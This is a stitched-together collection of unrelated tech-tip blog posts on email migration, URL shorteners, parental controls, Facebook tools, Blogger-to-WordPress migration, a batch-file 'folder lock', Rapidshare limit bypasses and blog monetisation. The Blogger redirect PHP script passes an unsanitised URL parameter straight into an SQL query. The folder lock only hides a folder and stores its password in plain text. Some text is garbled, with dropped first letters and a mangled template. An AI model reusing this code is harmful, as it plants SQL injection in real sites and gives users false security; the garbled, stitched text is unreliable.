TrueSwitch mentioned above supports all popular ISPs including Comcast, Verizon, CableVision, AT&T, etc. but if your ISP is not in the list and you don’t have the time to configure your email client for POP3 or IMAP access, check out Yippie Move.

It’s a online email transfer service similar to TrueSwitch but supports an even larger number of email service providers including the .edu addresses of certain colleges and universities in US. With YippieMove, you can choose folders (or labels in Gmail) that you want to copy to the new location without having to move the entire mailbox. The service is quick and easy but costs around $15 per email account.

Copying emails from Microsoft Exchange / Outlook

Every organization has a different policy with respect to corporate email so check with the administration if your Exchange service offers POP3 or IMAP access – if yes, you can easily transfer messages into any of the free web mail accounts directly as listed above. Also see these guides:

Email Transfer Complete? The Next Step

Now that all your message have moved to your new email address, you can set up a vacation responder in your old email account to auto-inform contacts about your new email address. Also check this guide on how to manage multiple email addresses.

Setup Your Own TinyURL Like Redirection Service in 2 Minutes

URL shortening services like TinyURL, bit.ly, etc. provide small aliases for long web addresses thus making it easier for you to share complex links through email, IM, Twitter, etc.

The only problem with URL shortening services is that most of them don’t have a solid business model yet so if they decide to shut shop in future, all your existing short links will become broken or point to non-existent 404 pages.

To prevent yourself from running into such a situation, you can consider setting up your own URL shortening service that will run on your own domain (or web server) and the short URLs will therefore resolve throughout the lifespan of your site.

Google Short URLs Service for Google Apps

Google provides an excellent URL shortening service but it’s only available for sites that use Google Apps for Domains. Other than providing memorable shortcuts to web URLs, Google Short Links service also offers standard analytics so you can know the usage level (or click-throughs) of individual URLs.

Here’s are some sample URLs that internally use the Google URL shortening service:

To get started, add the Google Short Links service to your Google Apps domain. By default your redirection service will be available at links.example.com but you are free to choose any other sub-domain for this purpose. From the dashboard, open your Short Links settings and add a new URL (I picked go.labnol.org) and then deleted the default links sub-domain.

cname settings Next open your web domains cpanel and create a new CNAME record for the same sub-domain that should point to ghs.google.com as in the following screenshot.

Wait for a couple of minutes for the DNS changes to propagate across the Internet and your TinyURL clone is ready to serve. Here’s the default web interface where you can create short URLs using your Google Apps account.

Screenshot: Create your own short URLs

google short urls interface

You can either create custom aliases or let the Google App itself choose a short URL for your web address but unlike the TinyURL service that does a 301 redirect, Google Short URLs do a 302 temporary redirect so the link juice, PageRank, etc. aren’t transferred to the original URL.

Tiny URLs created with Google Short Links offer another advantage – you can edit the underlying web page address so the short URLs will stay valid even if the underlying page has moved to a new location.

Screenshot: See usage count of short URLs

manage short urls

Run your own URL Shortening Service

Google Short Links are a perfect match for people who need a TinyURL like redirection service without involving any technical details. You don’t need any web server space and there are no MySQL databases or PHP scripts involved but the only downside it that your site must be running on Google Apps.

If you need to set up redirection on a site that doesn’t use Google Apps, try Shorty – it’s a free MySQL + PHP scripts that you may either set on sub-domain or a sub-directory under your main website.

With Shorty, you get a simple web interface to create as well as manage all your existing short URLs. Just upload all the installation files to your Apache server and run _install.php from the web browser. It also provides stats for individual short URLs.

How Parents Can Protect Their Kids from Inappropriate Content on the Internet

The Internet hosts billions of web pages but a large chunk of this material may be inappropriate for your young children. Therefore, let’s explore a couple of easy ways that can possibly help parents prevent kids from viewing the dark side of the world wide web.

You don’t have be a tech-savvy person to implement any of the following stuff on your home computer(s) and all the software tools / services discussed here are available for free via the Internet.

Block Adult Sites Automatically

Since you don’t want kids to accidentally see any of sites that contain adult content, an easy option for blocking such sites is OpenDNS.

You don’t have to download or install any software – just go to opendns.com/start in any Internet browser, choose the "Computer" option (let’s keep it simple) and follow the instructions on the screen. Once your computer is configured with OpenDNS, go to Dashboard -> Settings and set the Filtering level to either Moderate or High.

Now whenever your kid mistakenly types a URL of some adult site in the browser (e.g. whitehouse.com instead of whitehouse.gov) or clicks a link that may be pointing to an inappropriate site, the OpenDNS filters will match the address of that site against their own database of adults sites and if there’s a match, the underlying web page won’t be displayed on the child’s computer.

Prevent clicks on Malicious Sites

When you perform a search on Google or other search engines, there is a probability that some of the links appearing on the search results page could be pointing to sites that host malicious or harmful content.

To make sure that your children aren’t clicking these links, what you need is Web of Trust – it’s a simple filter that analyzes web page links in the background and adds colored icons next to them so that you child knows whether visiting the underlying site is safe or not.

Web of Trust is available for both Internet Explorer & Firefox. It can scan links appearing on almost every major search engine and even web email services. You can also use the WOT online service to find the reputation rating of any website as in this example.

Block Selected Websites (like IMs or Social sites)

The filtering option in OpenDNS is great for blocking an entire category of websites on your computer but if you are looking to block only selected sites (e.g. Orkut.com or MySpace.com) because your kids are too young to waste time on these sites, here’s a tip.

hosts file

Run the Hostsman software (it’s a freeware for Windows) and press Ctrl+O to open the hosts file editor. Click the "Add" icon and type the URLs of all the websites that you want to block on the child’s computer. Hit Save and close the hostsman application.

None of the blocked sites will ever open in any of the browsers installed on your child’s computer unless someone manually deletes the record from the hosts file.

Turn Safe Search On forever

Google, Bing, Yahoo and most other search engines allow you to search the web (and images) in "Safe Search" mode meaning you are less likely to encounter images or web pages in search results that may not be appropriate for children.

But the only problem with this approach is that it uses cookies so if you clear the browser cache, the "safe search" preference will be lost as well.

keyword_URL Luckily, you can force the "strict filtering" option in your browser even if the parent or the kid forgot to turn that option on himself.

The trick is that you open the Google search URL wherever it appears in the browser database and append "safe=active" before the "q" parameter.

For instance, you can type about:config in Firefox and change the keyword.url value to http://www.google.com/search?safe=active&q= – now any searches performed from the address bar will always show "safe" content.

Track Kids Activity on the Computer

While I don’t suggest using a keylogger program to monitor each and every word that your kid is typing, you may want to explore programs like Rescue Time or Slife as they will give you a good overview of how your kids are spending time at the computer.

You get to know what sites are they visiting, how much time are they spending with IM programs, what software applications are they running more frequently and how much time do they spend on individual sites.

Related: Keep a record of all things you do on the computer

Upload Photos from a Mobile Phone to your Facebook Album

ou captured a bunch of photos using the camera of your mobile phone – now how do you upload these pictures directly to Facebook without having to transfer them to a desktop computer?

There are basically three ways by which you can send photos from a mobile phone to the Facebook website – MMS, Mobile Phone Apps and Email. Let’s look at each of these options one by one.

Facebook Apps for Mobile

If you have a smartphone like the iPhone, BlackBerry, Windows Mobile or Nokia (with Ovi Store), you can visit m.facebook.com using the internet browser of your mobile phone and download the Facebook application for your device. These apps will often integrate with the camera function of your phone and provide an option to directly upload pictures to Facebook right after they’ve been taken.

If there’s no official Facebook app available for your mobile platform, you may also check the mobile app at Shozu.com – Shozu is available for a large number of mobile phones and allows uploading photos/videos to Facebook in addition to most other social sites.

Facebook MMS

Now if you are not carrying a smartphone but still want to move pictures from the phone to Facebook, you can use picture messaging or MMS. Here’s how it works.

Compose a new MMS message on your mobile phone and attach the image file that you want to post to your Facebook stream with the MSS message. Send that MMS to mobile@facebook.com (email, not phone) and Facebook will send you a confirmation code (via text) to associate your mobile phone number with your Facebook profile.

The MMS option looks like a nice technique for upload photos from old phones but the problem is that it may not always work as expected and secondly, sending MMS messages per picture (depending upon your carrier plan) can sometimes turn out to be an expensive proposition.

Facebook Email

Luckily, there’s another option provided your mobile phone can send email. Go to facebook.com/mobile and note a special "upload" email address that has been assigned to you by Facebook. Any photograph (or video clip) that is sent to this address via email will instantly get posted to your Facebook page.

Much like Flickr, when you send a photo to this "unique" email address, the subject of your email message will be used as the photo caption. And these photos will get saved in the "Mobile Uploads" photo album of your Facebook account visible to all your Facebook contacts. You can consider changing the privacy settings of your "Mobile Uploads" folder to change the default viewership of photographs upload from a mobile device.

Another tip – the email address assigned by Facebook can be quite long and complex so you may want to save it to your phone address book beforehand for easy access.

Facebook + Posterous

When you send photos to Facebook via the email option, all pictures are published to the "Mobile Uploads" folder by default and unfortunately, there’s no option to change that setting. However, if you want Facebook to create separate photo albums for each of your batch uploads, you can consider using Posterous.

It works like this. First link your Facebook account with Posterous. Then go to your Posterous Autopost settings and set the minimum Facebook gallery size to either 1 or 2. Now when you send an email message to facebook@posterous.com with 2 or more photos, they will be posted to their own albums on Facebook so it becomes more easy for you to manage / sort pictures later.

Use Facebook Chat without opening Facebook.com

acebook includes an awesome chat feature that lets you instantly start conversations with your Facebook buddies without installing any IM software but the only small issue is that you need to be on the Facebook.com website in order to use Facebook chat.

If you find this a bit inconvenient, here are some good workarounds that will let you chat on Facebook from anywhere without even having to open the Facebook site in your browser.
Facebook Chat Inside the Web Browser

If you have Google Chrome or Prism for Firefox, you can open this address in your browser address bar and then create an application shortcut to Facebook chat on your desktop.

Firefox users may bookmark the above link and set the "Load this bookmark in Sidebar" property to true in order to use Facebook chat from the Firefox sidebar.

If you an IE user or hate to use Facebook chat from the sidebar, try Gabtastik – this is a minimal desktop client for Facebook that looks exactly like the web version of Facebook chat but will also send you notifications of new messages and chat requests from the system tray.

meebo - facebook chat

Meebo, the very awesome web based instant messaging service, now supports Facebook chat as well. You can connect your Facebook account with meebo via the Facebook Connect service (so there’s no need to share your Facebook credentials with anyone) and instantly chat with your online buddies inside the web browser.

There are two advantages here – you can use Facebook chat even if the main Facebook.com site is blocked in your office and two, you can simultaneously connect with friends on other IM networks from the same website.
Facebook Chat Clients for your Desktop

facebook messenger

ChitChat – If Facebook were to develop a standalone messenger on the lines of Yahoo! or Google Talk, it might look something like ChitChat.

ChitChat is a Windows-only desktop client for Facebook that provides a tabbed window to make it easy for you to talk to may friends at once. It will also show notifications in the tray when your friends go online or when they have signed out. The application is in RC stage so expect a few bugs.

digsby for facebook

Digsby – This is again a very useful all-in-one app that helps you stay up to date with everything happening on your Facebook, Twitter, Gmail, LinkedIn and other online accounts.

If you have multiple accounts on Facebook (like you and your spouse), you can associate all of them with your Disgsby messenger and chat with the combined buddy list simultaneously. Facebook doesn’t allow audio or video calls but Digsby indirectly brings that feature to Facebook Chat via tokbox.

There were reports (1,2,3) that Digsby’s installer can add some crapware to your computer but that should not hold you back as there’s an alternate installer (direct link) that will bypass the non-essential stuff.

adium on facebookAdium – If you are on Mac, Adium is probably the best choice for you to chat with Facebook friends from the desktop.

Like Pidgin and Digsby, Adium too supports multiple IM networks, including Windows Live Messenger, Google Talk, AOL AIM, ICQ, Yahoo! Messenger, Skype, Twitter and Jabber (XMPP). And it uses the same Facebook Chat plugin that is available for Pidgin users on Google Code.

pidgin with facebook chat

Pidgin – While Facebook Chat is not officially supported in Pidgin, there’s a free plug-in that lets you connect to the Facebook chat server from Pidgin. And like Digsby, Pidgin too would let you chat with buddies on multiple Facebook accounts from the same interface.

Pidgin vs Digsby – Pidgin is purely for instant messaging while Digsby will also display notifications like when a friends sends you a message using Facebook email or if he or she writes something on your Facebook wall. Some people in the comments say that even Pidgin displays notifications but at least that doesn’t work in Windows 7.

Pidgin will show all your Facebook contacts in one giant list (see update) while Digsby will group contacts under logical "Friends list" just the way you have them on the main facebook.com site. Update: The new version of Facebook Chat plugin for Pidgin displays your online friends under groups just like Pidgin.

Migrate from Blogger to WordPress without Losing your Google Search Rankings

The Goal: Your current blog at abc.blogspot.com is hosted on the Blogger platform but you now want to move this blog from Blogger to WordPress (self-hosted) with a personal domain name (say abc.com).

The Problem: WordPress.org provides an easy option to automatically import all your old blog posts and reader comments from Blogger into your new WordPress blog but there are still some bigger problems that are hard to ignore:

1. Some of your previous articles on the blogspot blog could be ranking very high in search engines for certain keywords but once you shift these articles to a new address, you might lose all that organic search traffic.

2. You cannot use a 301 redirect with Blogger to inform search engines that your site has permanently moved a new web address thus losing PageRank and other Google Juice.

3. Not just search bots, human beings who come to read your old articles via links from other sites won’t know about the new location of those articles unless you manually insert the new links in each and every blogspot article (impossible for large blogs).

4. When you switch blogging platforms, existing blog readers who are subscribed to your Blogger RSS Feed may be lost forever if they don’t manually update their RSS readers with your new WordPress feed address (and most won’t).

5. When you lose RSS subscribers and search engines rankings, the pageviews will drop and that will seriously impact your AdSense revenue in case you are running Google ads.

The Solution: Now that you are aware of the various issues associated with moving sites from Blogger to WordPress, the very good news is that there exists a simple solution to deal with all these problems in one go.

You can quickly and safely migrate any blog from Blogger to WordPress without losing RSS Subscribers or human visitors and there’s also a way to pass all that Google Juice from the old blogspot.com address to your new WordPress blog.

How to Move a Blog from Blogger to WordPress

Important: Before you implement anything, it may be a good idea to run through these steps on a dummy blog first. Also, backup your Blogger blog including the XML template, posts and comments just to be the safe side.

If something doesn’t make sense, just watch the screencast video below (download).

Step 1: In case you haven’t done this already – register a new web domain, buy server space from some web hosting company* that offers PHP / MySQL hosting and and install WordPress software on your new domain.

*This site is hosted on Dreamhost.com but there are other good hosting options like GoDaddy, Blue Host, Media Temple and Knowhost – most services offer one-click WordPress installation so you don’t need the help of a geek.

Step 2: Go to your WordPress Admin Dashboard -> Tools -> Import and select the Blogger option. Authorize WordPress to access your Google Account and within minutes, all your old blog posts and comments will be available on the new WordPress site.

Step 3: Copy this file into your WordPress themes directory and then rename the file from blogger.php.txt to blogger.php. You may use either Putty with wget or Web FTP to access your WordPress themes directory located on the web server. For credentials and other details, check your cPanel.

Here are the contents of that file.

/*

Template Name: blogger
*/

global $wpdb;
$old_url = $_GET['q'];

if ($old_url != "") {
$permalink = explode("blogspot.com", $old_url);

$q = "SELECT guid FROM $wpdb->posts LEFT JOIN $wpdb->postmeta ".
"ON ($wpdb->posts.ID = $wpdb->postmeta.post_id) WHERE ".
"$wpdb->postmeta.meta_key='blogger_permalink' AND ".
"$wpdb->postmeta.meta_value='$permalink[1]'";

$new_url = $wpdb->get_var($q)? $wpdb->get_var($q) : "/";

header ("HTTP/1.1 301 Moved Permanently");
header("Location: $new_url");
}
?>

Step 4. Open your WordPress dashboard and go to Pages -> Add New Page. Keep the title and URL of that page as blogger and select "blogger" from the Template drop-down. Save. There’s no need to add any content to this page.

Step 5. Open the template generator, type the full address of your new WordPress blog (including http:// and the trailing slash) and this tool will create a new classic template for your blogspot blog that will look something like this.



">

<$BlogPageTitle$>


This page has moved to a new address.



<$BlogTitle$>

"><$BlogItemTitle$>




Step 6. Open your Blogger Dashboard -> Layout -> Edit HTML and choose "Revert to Classic Blog". Copy-paste the template generated in Step 5 in the "Edit Template" area and click "Save Template Changes".

Your are done. Open any page on your old Blogger blog and it should redirect you to the corresponding WordPress page. On the WordPress side, since we are using a permanent 301 redirect with the redirection URLs, all the Google Juice will probably pass to your new WordPress pages with time.

Update your RSS Feed: When you move from Blogger to WordPress, the address of your RSS feed will change as well. Go to Blogger -> Settings -> Site Feed, type the address of your new WordPress RSS feed here and Google Reader, Bloglines, etc. will automatically move to your new feed. Check this FeedBurner FAQ for some more ideas.

Video Tutorial – Move from Blogspot to WordPress

Now that your new WordPress site is up and running with all the old Blogger posts, here are a few important things you should do:

1. Add your new WordPress site to Google Webmaster, verify ownership and and submit a Sitemap listing the URLs on your new site.

2. When you migrate from Blogger to WordPress, all your pictures and screenshot images hosted on Blogger / Picasa Web Albums will not get imported into WordPress. Therefore never delete your old blogger blog as it will break images that are now embedded in your WordPress posts.

3. Once the search bots and human beings start flocking to your new site, you may update the homepage of your blogspot blog with links to some of your best posts.

4. To know how Googlebot will view your existing Blogspot blog, just turn off JavaScript in the browser and try visiting any of your old blog pages. It’s a single link under H1 that points to your new address that internally does a 301 redirect.

How We Prioritize Online Distractions Without Knowing

You have a new email messages from A", "B wants to be your friend on Facebook", "C sent you a direct message on Twitter", "You have D unread items in Google Reader", "Your friend E is available for chat on Skype", "There’s a new SMS from F on your mobile phone"… and the list continues.

Whether you are at the computer or using a smartphone, there are plenty of things happening around you simultaneously that can easily distract you from the task at hand.

online distractions

However, making that switch from one distraction to another is not always in random order because some distractions are naturally more important than others. For instance, you will probably answer a phone call or read that SMS message first before approving that pending friends’ request on Facebook.

David McCandless, author of The Visual Miscellaneum, has created an interesting chart that illustrates how we prioritize these various digital distractions (or interruptions), often unknowingly, in our minds.

If you get a new SMS whilst opening a new online dating message, you’ll be hard pressed not to read that SMS. It’ll take a great force of will. You may attempt to do both simultaneously. But if you really observe yourself closely, one will take priority – even if it’s only by milliseconds. The SMS will win your attention.

The level of distraction increases as you move up the chart and vice-versa.

Folder Lock Without Any Software


Folder Lock With Password Without Any Software-
Paste the code given below in notepad and 'Save' it as batch file (with extension '.bat').
Any name will do.
Then you see a batch file. Double click on this batch file to create a folder locker.
New folder named 'Locker' would be formed at the same location.
Now bring all the files you want to hide in the 'Locker' folder. Double click on the batch file to lock the folder namely 'Locker'.
If you want to unlock your files,double click the batch file again and you would be prompted for password.
Enter the password and enjoy access to the folder.


if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

Rapidshare Hack

There are two hacks to beat Rapidshare download limits and waiting time.

1) Rapidshare Hack (For Firefox Users) :-
The hot new Firefox plug-in takes browser customization to a whole new level by letting users filter site content or change page behaviors.
The glory of open-source software is that it allows anyone with the inclination and the scripting knowledge to get under the hood and hot-rod their computing environment.
But most of the time, that advantage is available only to people with the programming skills to make the changes they want.

That's where Greasemonkey, a free plug-in for Firefox, comes in -- it simplifies hacking the browser.

Released at the end 2004, Greasemonkey is the latest in a growing arsenal of Firefox customization tools.
It changes how Web pages look and act by altering the rendering process.

http://greasemonkey.mozdev.org/

1) Install the Greasemonkey extension>>
http://downloads.mozdev.org/greasemonkey/greasemonkey_0.2.6.xpi
2) Restart Firefox
3) Go to http://rapidshare.de/files/1034529/rapidshare.user.js.html
4) Right click on rapidshare.user.js and choose "Install User Script".
5) Run FireFox.
6) From 'File' Menu click on Open File then browse to whereever you saved the 'greasemonkey.xpi' plug-in.
Open it, wait a couple seconds for the install button becomes active.
7) Click on it to install this plug-in then CLOSE FIREFOX.
8) Run FireFox again.
From the File Menu click on Open File then browse to whereever you saved the 'rapidshare.user.js'.
9) Open it.
10) Click the Tools Menu then click on Install User Script then click OK.
11) Close FireFox.

The script will let you enjoy "no wait" and multiple file downloads......!


2) Rapidshare Hack (NIC Tricks and MAC Cloning) :-
Rapidshare traces the users IP address to limit each user to a certain amount of downloading per day.
To get around this, you need to show the rapidshare server a different IP address.
Here are some methods for doing this-

A] Short-Out the JavaScript:
1) Goto the page you want to download
2) Select FREE button
3) In the address bar put this- javascript:alert(c=0)
4) Click OK
5) Click OK to the pop-up box
6) Enter the captcha
7) Download Your File

B] Request a new IP address from your ISP server:
Here’s how to do it in windows:
1) Click Start
2) Click run
3) In the run box type cmd.exe and click OK
4) When the command prompt opens type the following. ENTER after each new line.
ipconfig /flushdns
ipconfig /release
ipconfig /renew
exit
5) Erase your cookies in whatever browser you are using.
6) Try the rapidshare download again.
Frequently you will be assigned a new IP address when this happens.
Sometime you will, sometimes you will not. If you are on a fixed IP address, this method will not work.
If this works for you, you may want to save the above commands into a batch file, and just run it when you need it.

C] Use a proxy with SwitchProxy and Firefox:
1) Download and install Firefox
2) Download and install SwitchProxy
3) Google for free proxies
4) When you hit your download limit, clean your cookies and change your proxy

D] You can use a bookmarklet to stop your wait times:
1) Open IE
2) Right Click On This Link
3) Select Add to Favorites
4) Select Yes to the warning that the bookmark may be unsafe.
5) Name it “RapidShare No Wait”
6) Click on the Links folder (if you want to display it in your IE toolbar)
7) Click OK
8) You may need to close and reopen IE to see it
9) Goto rapidshare and click the bookmarklet when you are forced to wait

How to make money using your blog

Now, there are several approaches you can consider to try to make money online. Sometimes it can get confusing as to which approach to pick first. The truth is that you can make good money online using a variety of different approaches from using affiliate marketing, adsense, eBay or creating your own product or service and marketing that. Here are some tips to help you succeed on your journey to making more money from the internet.

1.Set Proper Goals:

This is a very important step and it is one that very few new internet marketers actually do. Most people jump onto the internet desperate to make money without realizing that they will face many challenges along the way. Setting proper goals will help to keep you focused and on track no matter what challenges you face along the way.

The first step is to decide your real reasons as to why you want to earn income online. Maybe you just want a little extra income to pay off a car payment. Perhaps you are more ambitious and are sick and tired of working at a job and want more freedom. Take your time and get in touch with the deepest reasons why you want the money. This will be the fuel that will keep you going even in darkest of times.

Once you have clear powerful reasons you must write these down on a piece of paper. There is great power in writing things down and something almost magical happens that makes the accomplishment of what you write down a thousand times more likely than if you just chose to try to remember it instead.

Next you need to decide on how much you want to earn 6 months, 1 year and 2 years from now. You must give yourself time to accomplish your goals so be patient. Also be realistic in the amounts you choose so a good example could be $500 a month 6 months from now and then $2000 a month 1 year from now and $5000 a month 2 years down the road. Do not look for overnight get rich quick schemes. Again you must write these income targets down ideally on the same paper that has the reasons also.

Now you need to review these reasons and income targets at least once a day. It does not need to take much time, simply glance at it and remind yourself of where you are going financially and believe it. You can even carry this paper with you so it almost becomes a part of you. Reviewing these things regularly will keep your mind focused and it will also activate the part of your brain called the reticular activating system that will work for you day and night to automatically find ways to make these things a reality. Just by creating and following through on proper goals like this you are already 90 percent of the way to success.

The best way to select a proven strategy is simply to use common sense. Do not fall for get rich quick schemes because they are usually a waste of time. Some proven strategies to investigate and learn more about could be affiliate marketing, adsense, eBay marketing or if you have an idea for a product or service you could do that too.

Some proven ways to market and get visitors to your site are pay per click advertising, article marketing and also learn about ethical search engine optimization so you can also get free traffic to your site from the search engines. Each of these areas will require further investigation on your part so read as many free articles as you can about them as many of these articles are written by top internet marketing professionals. Visit an article directory like Ezinearticles and read their articles on internet marketing as they can offer great free advice.

3.Stick With It:

Anything worthwhile in life will require a commitment on your part and you will more than likely experience many obstacles along the way. At the start it is best to pick one proven method like affiliate marketing and stick with that. Learn all you can about it and become a real expert at it. That is how you will gain the specialized knowledge you need to become a super affiliate. Do not jump from one method to the next like going from affiliate marketing to eBay marketing just because things seem a little tough. Stick with it and in time you will discover a way succeed and make more money online.

Once again, i hope this helps and good luck with your blogging